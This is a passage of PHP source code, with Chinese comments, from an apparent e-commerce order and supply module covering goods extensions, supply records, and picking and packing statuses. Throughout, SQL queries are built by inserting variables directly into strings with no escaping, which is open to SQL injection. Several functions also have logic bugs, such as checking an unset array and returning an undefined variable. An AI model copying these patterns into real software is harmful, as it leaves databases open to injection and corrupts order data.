// 如果是套餐的话 if ($goodsItem['PackageID'] > 0) { $goodsExtensionID = $this->checkPackageInfo($goodsItem['PackageID']); if (!$goodsExtensionID) { $goodsExtensionID = $this->_addGoodsPackageInfo($goodsItem); } } // 如果是特惠的话 if ($goodsItem['PreferID'] > 0) { $goodsExtensionID = $this->checkPreferInfo($goodsItem['PreferID']); if (!$goodsExtensionID) { $goodsExtensionID = $this->_addGoodsPreferInfo($goodsItem); } } $attribute = $goodsItem['Attribute']; $specification = $goodsItem['specification']; $goodsItem['GoodsExtensionID'] = (int)$goodsExtensionID; $coreOrderGoodsID = self::_generateGoods($coreOrderID, $goodsItem); if (!$coreOrderGoodsID) { return false; } // 回写goodsExtensionID 到 coreOrderGoods 表中 if ($goodsExtensionID > 0) { $bindResult = $this->_bindCoreOrderWithGoodsExtensionID($coreOrderGoodsID, $goodsExtensionID); if (!$coreOrderGoodsID) { return false; } } // 添加到属性表和规格表中。 $attributeID = $this->_generateGoodsAttribute($coreOrderGoodsID,$attribute); $specificationID = $this->_generateGoodsSpecification($coreOrderGoodsID,$specification); return $coreOrderGoodsID; } protected final function _bindCoreOrderWithGoodsExtensionID($coreOrderGoodsID, $goodsExtensionID) { $sql = "update CoreOrderGoods set GoodsExtensionID={$goodsExtensionID} where CoreOrderGoodsID = {$coreOrderGoodsID}"; $result = $this->_db->query($sql); return $result; } public function getGoodsExtensionDetail($goodsExtensionID, $specialField = array()) { $field = '*'; if (is_array($specialField) && count($specialField) > 0) { $field = implode(',', $specialField); } $sql = "select {$field} from GoodsExtension where GoodsExtensionID = {$goodsExtensionID}"; $result = $this->_db->getToArray($sql); return $result; } private function checkPackageInfo($packageID) { $type = self::GOODS_EXTENSIONTYPE_PACKAGE; $where = " where GoodsExtensionID = {$packageID} and ExtensionTypeID = {$type}"; $sql = "select GoodsExtensionID from GoodsExtension {$where}"; $result = $this->_db->getToArray($sql); $goodsExtensionID = $result['GoodsExtensionID']; return $goodsExtensionID; } // 添加套餐信息 private function _addGoodsPackageInfo($goodsItem) { $extension['ExtensionTypeID'] = self::GOODS_EXTENSIONTYPE_PACKAGE; $extension['ExtensionID'] = $goodsItem['PackageID']; $extension['ExtensionName'] = $goodsItem['PackageName']; $extension['ExtensionPrice'] = $goodsItem['PackagePrice']; $extension['ExtensionImage'] = $goodsItem['PackageImage']; $extension['AddTime'] = date('Y-m-d H:i:s'); $extensionID = $this->_addGoodsExtension($extension); return $extensionID; } private function checkPreferInfo($preferID) { $type = self::GOODS_EXTENSIONTYPE_PREFER; $where = " where GoodsExtensionID = {$preferID} and ExtensionTypeID = {$type}"; $sql = "select GoodsExtensionID from GoodsExtension {$where}"; $result = $this->_db->getToArray($sql); $goodsExtensionID = $result['GoodsExtensionID']; return $goodsExtensionID; } // 添加特惠信息 private function _addGoodsPreferInfo($goodsItem) { $extension['ExtensionTypeID'] = self::GOODS_EXTENSIONTYPE_PREFER; $extension['ExtensionID'] = $goodsItem['PreferID']; $extension['ExtensionName'] = $goodsItem['PreferName']; $extension['ExtensionPrice'] = $goodsItem['PreferPrice']; $extension['ExtensionImage'] = $goodsItem['PreferImage']; $extension['AddTime'] = date('Y-m-d H:i:s'); $extensionID = $this->_addGoodsExtension($extension); return $extensionID; } // 添加扩展信息(套餐或特惠) protected final function _addGoodsExtension($extension) { $goodsExtensionID = $this->_db->saveFromArray('GoodsExtension',$extension); return $goodsExtensionID; } protected final function _generateGoodsAttribute($coreOrderGoodsID,$attribute) { foreach ($attribute as $key => $attributeItem) { $result = $this->_generateGoodsAttributeItem($coreOrderGoodsID,$attributeItem); if (!$result) { return false; } } return true; } protected final function _generateGoodsAttributeItem($coreOrderGoodsID,$attributeItem) { if (!$coreOrderGoodsID || !$attr['Title'] || !$attr['AttributeValue']) { return false; } $attr['CoreOrderGoodsID'] = $coreOrderGoodsID; $attr['AttributeName'] = $attributeItem['Title']; $attr['AttributeValue'] = $attributeItem['AttributeValue']; $attrID = $this->_db->saveFromArray('GoodsSpecification', $attr); if (!$attrID) { return false; } return $attrID; } protected final function _generateGoodsSpecification($coreOrderGoodsID,$specification) { foreach ($specification as $key => $specificationItem) { $result = $this->_generateGoodsSpecificationItem($coreOrderGoodsID,$specificationItem); if (!$result) { return false; } } return true; } protected final function _generateGoodsSpecificationItem($coreOrderGoodsID,$specItem) { if (!$coreOrderGoodsID || !$specItem['Title'] || !$specItem['SpecificationValue']) { return false; } $specification['CoreOrderGoodsID'] = (int)$coreOrderGoodsID; $specification['SpecificationName'] = $specItem['Title']; $specification['SpecificationValue'] = $specItem['SpecificationValue']; $specificationID = $this->_db->saveFromArray('GoodsSpecification', $specification); if (!$specificationID) { return false; } return $specificationID; } /** * 添加单个商品 * @param [type] $coreOrderID [description] * @param [type] $goodsInfo [description] * @return [type] [description] */ protected final function _generateGoods($coreOrderID, & $goodsInfo) { $goods['CoreOrderID'] = $coreOrderID; $goods['GoodsID'] = (int)$goodsInfo['GoodsID']; $goods['GoodsName'] = $goodsInfo['GoodsName']; $goods['GoodsCount'] = isset($goodsInfo['GoodsCount']) ? (int)$goodsInfo['GoodsCount'] :(int)$goodsInfo['number']; $goods['GoodsImagePath'] = $goodsInfo['GoodsImagePath']; $goods['CostPrice'] = (float)$goodsInfo['CostPrice']; $goods['PurchasePrice'] = (float)$goodsInfo['PurchasePrice']; $goods['MarketPrice'] = (float)$goodsInfo['MarketPrice']; $goods['SalePrice'] = (float)$goodsInfo['SalePrice']; $goods['ScoreAmount'] = (float)$goodsInfo['ScoreAmount']; $goods['GoodsSN'] = $goodsInfo['GoodsSN']; $goods['GoodsCountrySN'] = $goodsInfo['GoodsCountrySN']; $goods['Goods3CSN'] = $goodsInfo['Goods3CSN']; $goods['GoodsStatusID'] = (int)$goodsInfo['GoodsStatusID']; $goods['Description'] = $goodsInfo['Description']; $goods['OriginArea'] = $goodsInfo['OriginArea']; $goods['GoodsExtensionID'] = $goodsInfo['GoodsExtensionID']; $coreOrderGoodsID = $this->_db->saveFromArray('CoreOrderGoods', $goods); unset($goods); return $coreOrderGoodsID; } /** * 统计一下某个商品的购买数量【此处没有判断订单状态】 * @param [type] $goodsID [description] * @return [type] [description] */ public function getPurchaseCountByGoodsID($goodsID) { if (!$goodsID) { return false; } $where = " where GoodsID = {$goodsID}"; if (is_array($goodsID) && count($goodsID) > 0) { $goodsString = '(' . implode(',', $goodsID) . ')'; $where = " where GoodsID in {$goodsString}"; } $sql = "select GoodsID,count(*) as Count from CoreOrderGoods {$where} group by GoodsID"; $resource = $this->_db->loadToArray($sql,'GoodsID','Count'); return $resource; } /** * 生成供货记录 * @param [type] $supplyRecordData [description] * @param [type] $goodsID [description] * @param [type] $goodsEntityID [description] */ public function addSupplyGoodsEntityItem($supplyRecordData,$goodsID,$goodsEntityID) { $this->_db->query('start transaction'); $coreOrderID = $supplyRecordData['CoreOrderID']; $supplyRecordID = $supplyRecordData['SupplyRecordID']; // 检测或生成 供货货品ID $supplyGoodsEntityResult = $this->checkIfExistSupplyGoodsEntity($supplyRecordID, $goodsEntityID); if ($supplyGoodsEntityResult === false) { $supplyGoodsEntityData['SupplyRecordID'] = $supplyRecordID; $supplyGoodsEntityData['GoodsEntityID'] = $goodsEntityID; $supplyGoodsEntityData['GoodsID'] = $goodsID; $supplyGoodsEntityID = $this->_addSupplyGoodsEntity($supplyGoodsEntityData); } elseif ($supplyGoodsEntityResult['SupplyGoodsEntityID'] > 0) { $supplyGoodsEntityID = $supplyGoodsEntityResult['SupplyGoodsEntityID']; $this->_db->query('rollback'); return self::errorReturnData('GoodsEntity_Supply_Exists','货品已经存在了'); } if (!$supplyGoodsEntityID) { $this->_db->query('rollback'); return self::errorReturnData('SupplyGoodsEntity_Error','没有生成供货货品记录'); } // 检查或生成供货 商品ID $supplyGoodsCheckResult = $this->checkIfExistSupplyGoods($supplyRecordID, $goodsID); if ($supplyGoodsCheckResult === false) { $supplyGoodsData['SupplyRecordID'] = $supplyRecordID; $supplyGoodsData['GoodsID'] = $goodsID; $supplyGoodsData['GoodsCount'] = 1; $supplyGoodsID = $this->_addSupplyGoods($supplyGoodsData); } elseif ($supplyGoodsCheckResult['SupplyGoodsID'] > 0) { $supplyGoodsID = $supplyGoodsCheckResult['SupplyGoodsID']; if (!$supplyGoodsID) { $this->_db->query('rollback'); return self::errorReturnData('SupplyGoods_Error','没有生成供货商品记录'); } $incrSupplyGoodsCount = $this->_incrSupplyGoodsCount($supplyGoodsID); } else { $this->_db->query('rollback'); return self::errorReturnData('SupplyRecordID_Error','供货记录出错了'); } if (!$supplyGoodsID) { $this->_db->query('rollback'); return self::errorReturnData('SupplyGoods_Error','没有生成供货商品记录'); } // @todo 优化一下,此处本来是用来自动变更拣货状态,现在是用来控制每一种商品的数量。 $goodsInfo = $this->_getSupplyGoodsInfo($coreOrderID, $supplyRecordID, $goodsID); // $complete = $goodsInfo['complete']; // if ($complete == true) { // $memberOrderID = $this->_getMemberOrderIDByCoreOrderID($coreOrderID); // $targetStatus = self::MEMBERORDERSTATUS_PICKOFF; // // 说明全部都拣货完毕了 // $result = $this->_changeMemberOrderStatus($memberOrderID, $targetStatus); // if(!$result){ // $this->_db->query('rollback'); // return self::errorReturnData('ChangeMemberOrderStatus_Error','更改订单状态至待打包失败'); // } // } $data['GoodsInfo'] = $goodsInfo['GoodsInfo']; $this->_db->query('commit'); return self::successReturnData($data); } /** * 打包某个商品 * @author Chuanjin <[<email address>]> * @return [type] [description] */ public function packOrderGoodsItem($goodsEntityID, $goodsID) { // 接收GoodsEntityID // 获得供货记录信息 $fields = array('SupplyRecordID','SupplyGoodsEntityID'); $supplyGoodsEntity = $this->getSupplyGoodsEntityDetailByGoodsEntityID($goodsEntityID, $fields); $supplyRecordID = $supplyGoodsEntity['SupplyRecordID']; $supplyGoodsEntityID = $supplyGoodsEntity['SupplyGoodsEntityID']; if (!$supplyRecordID) { return self::errorReturnData('PickGoodsEntity_Error','该货品未在拣货列表之中'); } // 获得订单订单信息 $supplyRecord = $this->getSupplyRecordDetail($supplyRecordID); $coreOrderID = $supplyRecord['CoreOrderID']; // 修改供货状态到已打包 $changeResult = $this->changeSupplyGoodsEntityStatus($supplyGoodsEntityID, self::SUPPLYGOODSENTITY_STATUS_PACKED); if ($changeResult == false) { return self::errorReturnData('GoodsEntity_Already_Packed','该货品已经打包完毕'); } // 在supplyGoods表中增加一下打包数量 $incrResult = $this->_incrSupplyPackGoodsCount($supplyRecordID,$goodsID); if ($incrResult == false) { return self::errorReturnData('GoodsEntity_Pack_Increase_Packed','货品打包递增失败'); } // // 修改订单状态到打包中,知道最后一个,将订单状态改成打包完成。 // $memberOrderID = $this->_getMemberOrderIDByCoreOrderID($coreOrderID); // // 获得订单状态 // $targetStatus = self::MEMBERORDERSTATUS_PICKOFF; // $result = $this->_changeMemberOrderStatus($memberOrderID, $targetStatus); // if(!$result){ // $this->_db->query('rollback'); // return self::errorReturnData('ChangeMemberOrderStatus_Error','更改订单状态至待打包失败'); // } $data['CoreOrderID'] = $coreOrderID; return self::successReturnData($data); } private function _incrSupplyPackGoodsCount($supplyRecordID,$goodsID) { if (!$supplyRecordID || !$goodsID) { return false; } $sql = "update SupplyGoods set PackGoodsCount = PackGoodsCount + 1 where SupplyRecordID={$supplyRecordID} and GoodsID={$goodsID}"; $result = $this->_db->query($sql); if ($result == false) { return false; } $affectedRows = $this->_db->affectedRows(); if ($affectedRows <= 0) { return false; } return true; } public function getSupplyGoodsEntityDetailByGoodsEntityID($goodsEntityID, $targetFields = array()) { if (!$goodsEntityID) { return false; } $fields = "*"; if (is_array($targetFields) && count($targetFields)) { $fields = implode(',', $targetFields); } $sql = "select {$fields} from SupplyGoodsEntity where GoodsEntityID = {$goodsEntityID} limit 1"; $result = $this->_db->getToArray($sql); return $result; } public function changeSupplyGoodsEntityStatus($supplyGoodsEntityID, $status) { if (!$supplyGoodsEntityID) { return false; } $sql = "update SupplyGoodsEntity set SupplyGoodsEntityStatusID = {$status} where SupplyGoodsEntityID={$supplyGoodsEntityID}"; $result = $this->_db->query($sql); if ($result == false) { return false; } $affectedRows = $this->_db->affectedRows(); if ($affectedRows <= 0) { return false; } return true; } public function _getMemberOrderIDByCoreOrderID($coreOrderID) { $where = " where CoreOrderID = {$coreOrderID} and SourceName = 'MemberOrder'"; $sql = "select SourceID from CoreOrder {$where}"; $result = $this->_db->getToArray($sql); $memberOrderID = $result['SourceID']; return $memberOrderID; } /** * 更改订单状态 * @param [type] $targetStatus [description] * @return [type] [description] */ public function _changeMemberOrderStatus($memberOrderID, $targetStatus) { if (!$memberOrderID) { return false; } $sql = "update MemberOrder set MemberOrderStatusID = {$targetStatus} where MemberOrderID = {$memberOrderID}"; $result = $this->_db->query($sql); if (!$result) { return false; } $affectedRows = $this->_db->affectedRows(); if ($affectedRows <= 0) { return false; } // 同时更改冗余在核心订单里的状态值。 $result = $this->_changeCoreOrderStatus('MemberOrder', $memberOrderID, $targetStatus); if (!$result) { return false; } return true; } /** * 更改核心订单状态。。 * @param [type] $sourceName [description] * @param [type] $sourceID [description] * @param [type] $targetStatus [description] * @return [type] [description] */ public function _changeCoreOrderStatus($sourceName, $sourceID, $targetStatus) { // 同时更改冗余在核心订单里的状态值。 $sql = "update CoreOrder set OrderStatusID = {$targetStatus} where SourceName = '{$sourceName}' and SourceID = {$sourceID}"; $result = $this->_db->query($sql); if (!$result) { return false; } $affectedRows = $this->_db->affectedRows(); if ($affectedRows <= 0) { return false; } return true; } public function _getSupplyGoodsInfo($coreOrderID, $supplyRecordID) { $count = 0;//标志是否所有的货都拣完了。 // 获取每件商品已拣货的数量和剩余的数量。 $sql = "select GoodsID,GoodsCount from SupplyGoods where SupplyRecordID={$supplyRecordID}"; $supplyGoodsInfo = $this->_db->loadToArray($sql, 'GoodsID'); $targetFields = array('GoodsID','GoodsName','GoodsCount'); $goodsInfo = $this->getOrderGoodsDetail($coreOrderID,$targetFields,false); foreach ($goodsInfo as $key => $goodsItem) { $goodsID = $goodsItem['GoodsID']; $pickCount = $supplyGoodsInfo[$goodsID]['GoodsCount']; $goodsInfo[$key]['PickCount'] = $pickCount ? $pickCount : 0; $leftCount = $goodsItem['GoodsCount'] - $pickCount; $goodsInfo[$key]['LeftCount'] = $leftCount; if ($leftCount > 0) { $count++; } if ($leftCount < 0) { return false; } unset($goodsInfo[$key]['GoodsCount']); } if ($count == 0) { $returnGoodsInfo['complete'] = true; } $returnGoodsInfo['GoodsInfo'] = $goodsInfo; return $returnGoodsInfo; } public function getPackOrderGoodsEntity($coreOrderID) { // 获得订单ID对应的供货ID $supplyRecordID = $this->getSupplyRecordIDByCoreOrderID($coreOrderID); if (!$supplyRecordID) { return false; } $count = 0;//标志是否所有的货都拣完了。 // 获取每件商品已拣货的数量和剩余的数量。 $sql = "select GoodsID,GoodsCount,PackGoodsCount from SupplyGoods where SupplyRecordID={$supplyRecordID}"; $supplyGoodsInfo = $this->_db->loadToArray($sql, 'GoodsID'); $targetFields = array('GoodsID','GoodsName','GoodsCount'); $goodsInfo = $this->getOrderGoodsDetail($coreOrderID,$targetFields,false); foreach ($goodsInfo as $key => $goodsItem) { $goodsID = $goodsItem['GoodsID']; $packCount = $supplyGoodsInfo[$goodsID]['PackGoodsCount']; $goodsInfo[$key]['PickGoodsCount'] = $goodsItem['GoodsCount']; $goodsInfo[$key]['PackGoodsCount'] = $packCount ? $packCount : 0; $leftCount = $goodsItem['GoodsCount'] - $packCount; $goodsInfo[$key]['LeftCount'] = $leftCount; if ($leftCount > 0) { $count++; } if ($leftCount < 0) { return false; } unset($goodsInfo[$key]['GoodsCount']); } if ($count == 0) { $returnGoodsInfo['complete'] = true; } $returnGoodsInfo['GoodsInfo'] = $goodsInfo; return $returnGoodsInfo; } public function getSupplyRecordIDByCoreOrderID($coreOrderID) { $sql = "select SupplyRecordID from SupplyRecord where CoreOrderID = {$coreOrderID} limit 1"; $result = $this->_db->getToArray($sql); $supplyRecordID = $result['SupplyRecordID']; return $supplyRecordID; } public function _incrSupplyGoodsCount($supplyGoodsID) { if (!$supplyGoodsID) { return false; } $sql = "update SupplyGoods set GoodsCount = GoodsCount + 1 where SupplyGoodsID = '{$supplyGoodsID}'"; $result = $this->_db->query($sql); if (!$result) { return false; } $affectedRows = $this->_db->affectedRows(); if ($affectedRows <= 0) { return false; } return true; } public function checkIfExistSupplyRecord($coreOrderID) { if (!$coreOrderID) { return false; } $sql = "select SupplyRecordID from SupplyRecord where CoreOrderID={$coreOrderID}"; $result = $this->_db->getToArray($sql); $supplyGoodsID = $result['SupplyRecordID']; if ($supplyGoodsID > 0) { $returnData['SupplyRecordID'] = $supplyGoodsID; return $returnData; } else { return false; } } public function checkIfExistSupplyGoodsEntity($supplyRecordID, $goodsEntityID) { if (!$supplyRecordID || !$goodsEntityID) { return false; } $sql = "select SupplyGoodsEntityID from SupplyGoodsEntity where SupplyRecordID = {$supplyRecordID} and GoodsEntityID = {$goodsEntityID}"; $result = $this->_db->getToArray($sql); $supplyGoodsEntityID = $result['SupplyGoodsEntityID']; if ($supplyGoodsEntityID > 0) { $returnData['SupplyGoodsEntityID'] = $supplyGoodsEntityID; return $returnData; } else { return false; } } public function checkIfExistSupplyGoods($supplyRecordID, $goodsID) { if (!$supplyRecordID || !$goodsID) { return false; } $sql = "select SupplyGoodsID from SupplyGoods where SupplyRecordID = {$supplyRecordID} and GoodsID = {$goodsID}"; $result = $this->_db->getToArray($sql); $supplyGoodsID = $result['SupplyGoodsID']; if ($supplyGoodsID > 0) { $returnData['SupplyGoodsID'] = $supplyGoodsID; return $returnData; } else { return false; } } public function isMatchCoreOrderGoods($coreOrderID, $goodsID) { if (!$coreOrderID || !$goodsID) { return false; } $sql = "select CoreOrderGoodsID,GoodsCount from CoreOrderGoods where CoreOrderID={$coreOrderID} and GoodsID={$goodsID} limit 1"; $result = $this->_db->getToArray($sql); $coreOrderGoodsID = $result['CoreOrderGoodsID']; if ($coreOrderGoodsID) { $returnData['GoodsCount'] = $result['GoodsCount']; return $returnData; } else { return false; } } public function getSupplyGoodsPickCount($coreOrderID, $goodsID) { if (!$coreOrderID || !$goodsID) { return false; } $sql = "select SupplyRecordID from SupplyRecord where CoreOrderID={$coreOrderID} limit 1"; $result = $this->_db->getToArray($sql); $supplyRecordID = isset($result['SupplyRecordID']) ? $result['SupplyRecordID'] : 0; if ($supplyRecordID == 0) { return 0; } $sql = "select GoodsCount from SupplyGoods where SupplyRecordID={$supplyRecordID} and GoodsID={$goodsID} limit 1"; $result = $this->_db->getToArray($sql); $goodsCount = $result['GoodsCount'] ? $result['GoodsCount'] : 0; return $goodsCount; } /** * 添加供货记录 * @param array $supplyRecordData * @return int $supplyRecordID */ final protected function _addSupplyRecord($supplyRecordData = null) { $supplyRecordID = 0; $supplyRecordData['AddTime'] = date('Y-m-d H:i:s'); $supplyRecordData['SupplyRecordStatusID'] = self::SUPPLYRECORD_STATUS_NEW; $supplyRecordID = $this->_db->saveFromArray('SupplyRecord', $supplyRecordData); return $supplyRecordID; } /** * 添加订单供货商品明细 * @param array $supplyGoodsData * @return int $supplyGoodsID */ final protected function _addSupplyGoods($supplyGoodsData = null) { $supplyGoodsID = 0; if ($supplyGoodsData['SupplyGoodsID'] > 0) { unset($supplyGoodsData['SupplyGoodsID']); } $supplyGoodsData['AddTime'] = date('Y-m-d H:i:s'); $supplyGoodsID = $this->_db->saveFromArray('SupplyGoods', $supplyGoodsData); return $supplyGoodsID; } /** * 修改订单供货商品明细 * @param array $supplyGoodsData * @return int $supplyGoodsID */ final protected function _modifySupplyGoods($supplyGoodsData = null) { $supplyGoodsID = 0; if ($supplyGoodsData['SupplyGoodsID'] <= 0) { return $supplyGoodsID; } $supplyGoodsID = $this->_db->saveFromArray('SupplyGoods', $supplyGoodsData); return $supplyGoodsID; } /** * 添加订单供货货品 * @param array $supplyGoodsEntityData * @return int $supplyGoodsEntityID */ final protected function _addSupplyGoodsEntity($supplyGoodsEntityData = null) { $supplyGoodsEntityID = 0; $supplyGoodsEntityData['SupplyGoodsEntityStatusID'] = self::SUPPLYGOODSENTITY_STATUS_WAITINGSIGN; $supplyGoodsEntityData['AddTime'] = date('Y-m-d H:i:s'); $supplyGoodsEntityID = $this->_db->saveFromArray('SupplyGoodsEntity', $supplyGoodsEntityData); return $supplyGoodsEntityID; } /** * 检验供货单中货品是否重复出现 * @param int $supplyRecordID 供货记录ID * @param int $goodsEntityID 货品ID * @return true|false $boolean [如果货品已存在时,返回false;否则返回true] */ final protected function _checkSupplyGoodsEntity($supplyRecordID, $goodsEntityID) { $boolean = true; $sql = "SELECT SupplyGoodsEntityID FROM SupplyGoodsEntity WHERE SupplyRecordID = {$supplyRecordID} AND GoodsEntityID = {$goodsEntityID}"; $result = $this->_db->getToArray($sql); if ($result && $result['SupplyGoodsEntityID'] > 0) { $boolean = false; } return $boolean; } public function getOrderGoodsEntityList($coreOrderID) { $supplyRecordID = $this->getSupplyRecordIDByCoreOrderID($coreOrderID); $sql = "select SupplyGoodsEntityID,GoodsEntityID from SupplyGoodsEntity where SupplyRecordID={$supplyRecordID}"; $result = $this->_db->loadToArray($sql,'SupplyGoodsEntityID','GoodsEntityID'); return $result; } /** * 通过供货记录ID获取供货记录状态 * @param int $supplyRecordID 供货记录ID * @return int $supplyRecordStatusID 供货状态 */ final protected function _getSupplyRecordStatusBySupplyRecordID($supplyRecordID) { $supplyReocrdStatusID = 0; if ($supplyRecordID <= 0) { return $supplyReocrdStatusID; } $sql = "SELECT SupplyRecordStatusID FROM SupplyRecord WHERE SupplyRecordID = {$supplyRecordID}"; $result = $this->_db->getToArray($sql); if ($result && $result['SupplyRecordStatusID'] > 0) { $supplyReocrdStatusID = $result['SupplyRecordStatusID']; } return $supplyReocrdStatusID; } /** * 修改供货记录状态 * @param int $supplyRecordID 供货记录ID * @param int $supplyRecordStatusID 原有状态ID * @param int $toSupplyRecordStatusID 新状态ID * @return true|false $boolean */ final protected function _modifySupplyRecordStatus( $supplyRecordID, $supplyRecordStatusID, $toSupplyRecordStatusID) { $boolean = false; $supplyRecordStatusIDChangeList = array( array(self::SUPPLYRECORD_STATUS_NEW, self::SUPPLYRECORD_STATUS_PICKUP), array(self::SUPPLYRECORD_STATUS_PICKUP, self::SUPPLYRECORD_STATUS_PICKUPFINISH), array(self::SUPPLYRECORD_STATUS_PICKUPFINISH, self::SUPPLYRECORD_STATUS_PACKING), array(self::SUPPLYRECORD_STATUS_PACKING, self::SUPPLYRECORD_STATUS_PACKED), array(self::SUPPLYRECORD_STATUS_PACKED, self::SUPPLYRECORD_STATUS_SENDGOODS), array(self::SUPPLYRECORD_STATUS_SENDGOODS, self::SUPPLYRECORD_STATUS_SIGNED) ); if (!in_array(array($supplyRecordStatusID, $toSupplyRecordStatusID), $supplyRecordStatusIDChangeList)) { return $boolean; } $sql = "UPDATE SupplyRecord SET SupplyRecordStatusID = {$toSupplyRecordStatusID} WHERE SupplyRecordID = {$supplyRecordID} AND SupplyRecordStatusID = {$supplyRecordStatusID}"; $result = $this->_db->query($sql); $affectedRows = $this->_db->affectedRows(); if ($result && ($affectedRows == 1)) { $boolean = true; } return $boolean; } /** * 获取供货商品明细列表 * @param int $supplyRecordID 供货订单ID * @return array $supplyGoodsList */ final protected function _getSupplyGoodsList($supplyRecordID) { $supplyGoodsList = null; $where = ''; if ($supplyRecordID) { if (is_array($supplyRecordID)) { $supplyRecordIDStr = implode(',', $supplyRecordID); $where .= " AND SupplyRecordID IN({$supplyRecordIDStr})"; } else { $where .= " AND SupplyRecordID = {$supplyRecordID}"; } } $where = $this->_db->whereAdd($where); $sql = "SELECT SupplyGoodsID, SupplyRecordID, GoodsID, GoodsCount FROM SupplyGoods {$where} ORDER BY SupplyGoodsID ASC"; $supplyGoodsList = $this->_db->loadToArray($sql); return $supplyGoodsList; } /** * 获取供货记录列表 * @param int $first * @param int $limit * @param string $sortField * @param string $sortWay * @param int $coreOrderID * @param int $supplyRecordID * @param int $supplyRecordStatusID * @param date&time $startAddTime * @param date&time $endAddTime * @return array $supplyRecordList */ final protected function _getSupplyRecordList( $first = 0, $limit = 10, $sortField = 'SupplyRecordID', $sortWay = 'DESC', $coreOrderID = null, $supplyRecordID = null, $supplyRecordStatusID = null, $startAddTime = null, $endAddTime = null) { $supplyRecordList = null; $where = ''; if ($coreOrderID) { if (is_array($coreOrderID)) { $coreOrderIDStr = implode(',', $coreOrderID); $where .= " AND CoreOrderID IN ({$coreOrderIDStr})"; } else { $where .= " AND CoreOrderID = {$coreOrderID}"; } } if ($supplyRecordID) { $where .= " AND SupplyRecordID = {$supplyRecordID}"; } if ($supplyRecordStatusID) { if (is_array($supplyRecordStatusID)) { $supplyReocrdStatusIDStr = implode(',', $supplyRecordStatusID); $where .= " AND SupplyRecordStatusID IN({$supplyReocrdStatusIDStr})"; } else { $where .= " AND SupplyRecordStatusID = {$supplyRecordStatusID}"; } } if ($startAddTime) { $where .= " AND AddTime >= '{$startAddTime}'"; } if ($endAddTime) { $where .= " AND AddTime <= '{$endAddTime}'"; } $where = $this->_db->whereAdd($where); $orderByStr = $this->_db->generateOrderByStr($sortField, $sortWay); $limitStr = $this->_db->generateLimitStr($first, $limit); $sql = "SELECT CoreOrderID, SupplyRecordID, AdminID, AddTime FROM SupplyRecord {$where} {$orderByStr} {$limitStr}"; $supplyRecordList = $this->_db->loadToArray($sql); return $supplyRecordList; } /** * 获取供货记录详情 * @param int $supplyRecordID */ public function getSupplyRecordDetail($supplyRecordID = null, $coreOrderID = null, $logisticsNumber = null) { $supplyRecordDetail = array(); if (($supplyRecordID <= 0) && ($coreOrderID <= 0)) { return $supplyRecordDetail; } $where = ''; if ($supplyRecordID) { $where .= " AND SupplyRecordID = {$supplyRecordID}"; } if ($coreOrderID) { $where .= " AND CoreOrderID = {$coreOrderID}"; } if ($logisticsNumber) { $where .= " AND LogisticsNumber = '{$logisticsNumber}'"; } $where = $this->_db->whereAdd($where); $sql = "SELECT * FROM SupplyRecord {$where}"; $supplyRecordDetail = $this->_db->getToArray($sql); return $supplyRecordDetail; } /** * 获取供货记录总数 * @param int $coreOrderID * @param int $supplyRecordID * @param int $supplyRecordStatusID * @param date&time $startAddTime * @param date&time $endAddTime * @return int $supplyRecordCount */ final protected function _getSupplyRecordCount( $coreOrderID = null, $supplyRecordID = null, $supplyRecordStatusID = null, $startAddTime = null, $endAddTime = null) { $supplyRecordCount = 0; $where = ''; if ($coreOrderID) { if (is_array($coreOrderID)) { $coreOrderIDStr = implode(',', $coreOrderID); $where .= " AND CoreOrderID IN ({$coreOrderIDStr})"; } else { $where .= " AND CoreOrderID = {$coreOrderID}"; } } if ($supplyRecordID) { $where .= " AND SupplyRecordID = {$supplyRecordID}"; } if ($supplyRecordStatusID) { if (is_array($supplyRecordStatusID)) { $supplyReocrdStatusIDStr = implode(',', $supplyRecordStatusID); $where .= " AND SupplyRecordStatusID IN({$supplyReocrdStatusIDStr})"; } else { $where .= " AND SupplyRecordStatusID = {$supplyRecordStatusID}"; } } if ($startAddTime) { $where .= " AND AddTime >= '{$startAddTime}'"; } if ($endAddTime) { $where .= " AND AddTime <= '{$endAddTime}'"; } $where = $this->_db->whereAdd($where); $sql = "SELECT COUNT(*) AS SupplyRecordCount FROM SupplyRecord {$where}"; $result = $this->_db->getToArray($sql); if ($result && $result['SupplyRecordCount'] > 0) { $supplyRecordCount = $result['SupplyRecordCount']; } return $supplyRecordCount; } /** * 修改供货货品状态 * @param int $supplyReocrdID * @param int $goodsEntityID * @param int $supplyGoodsEntityStatusID * @param int $toSupplyGoodsEntityStatusID * @return true|false $boolean */ final protected function _modifySupplyGoodsEntityStatus( $supplyRecordID = null, $goodsEntityID = null, $supplyGoodsEntityStatusID = null, $toSupplyGoodsEntityStatusID = null) { $boolean = false; $supplyGoodsEntityStatusIDChangeList = array( array(self::SUPPLYGOODSENTITY_STATUS_PICKUPED, self::SUPPLYGOODSENTITY_STATUS_PACKED), array(self::SUPPLYGOODSENTITY_STATUS_PACKED, self::SUPPLYGOODSENTITY_STATUS_WAITINGSIGN), array(self::SUPPLYGOODSENTITY_STATUS_WAITINGSIGN, self::SUPPLYGOODSENTITY_STATUS_SIGNED) ); if (!in_array(array($supplyGoodsEntityStatusID, $toSupplyGoodsEntityStatusID), $supplyGoodsEntityStatusIDChangeList)) { return $boolean; } $sql = "UPDATE SupplyGoodsEntity SET SupplyGoodsEntityStatusID = {$toSupplyGoodsEntityStatusID} WHERE SupplyRecordID = {$supplyRecordID} AND GoodsEntityID = {$goodsEntityID} AND SupplyGoodsEntityStatusID = {$supplyGoodsEntityStatusID}"; $result = $this->_db->query($sql); $affectedRows = $this->_db->affectedRows(); if ($result && ($affectedRows == 1)) { $boolean = true; } return $boolean; } /** * 删除供货记录 * @param int $supplyRecordID * @return array */ final protected function _deleteSupplyRecord($supplyRecordID) { if ($supplyRecordID <= 0) { return self::errorReturnData('SupplyRecordID_Is_Null', '没有获取到供货记录编号'); } // 删除供货商品明细 $sql = "DELETE FROM SupplyGoods WHERE SupplyRecordID = {$supplyRecordID}"; $result = $this->_db->query($sql); if (!$result) { return self::errorReturnData('SupplyGoods_Delete_Null', '供货商品明细删除失败'); } // 删除供货货品 $sql = "DELETE FROM SupplyGoodsEntity WHERE SupplyRecordID = {$supplyRecordID}"; $result = $this->_db->query($sql); if (!$result) { return self::errorReturnData('SupplyGoodsEntity_Delete_Null', '供货货品删除失败'); } // 删除供货记录 $sql = "DELETE FROM SupplyRecord WHERE SupplyRecordID = {$supplyRecordID}"; $result = $this->_db->query($sql); if (!$result) { return self::errorReturnData('SupplyRecord_Delete_Null', '供货记录删除失败'); } return self::successReturnData($successData); } /** * 通过货品ID获取供货记录ID * @param int 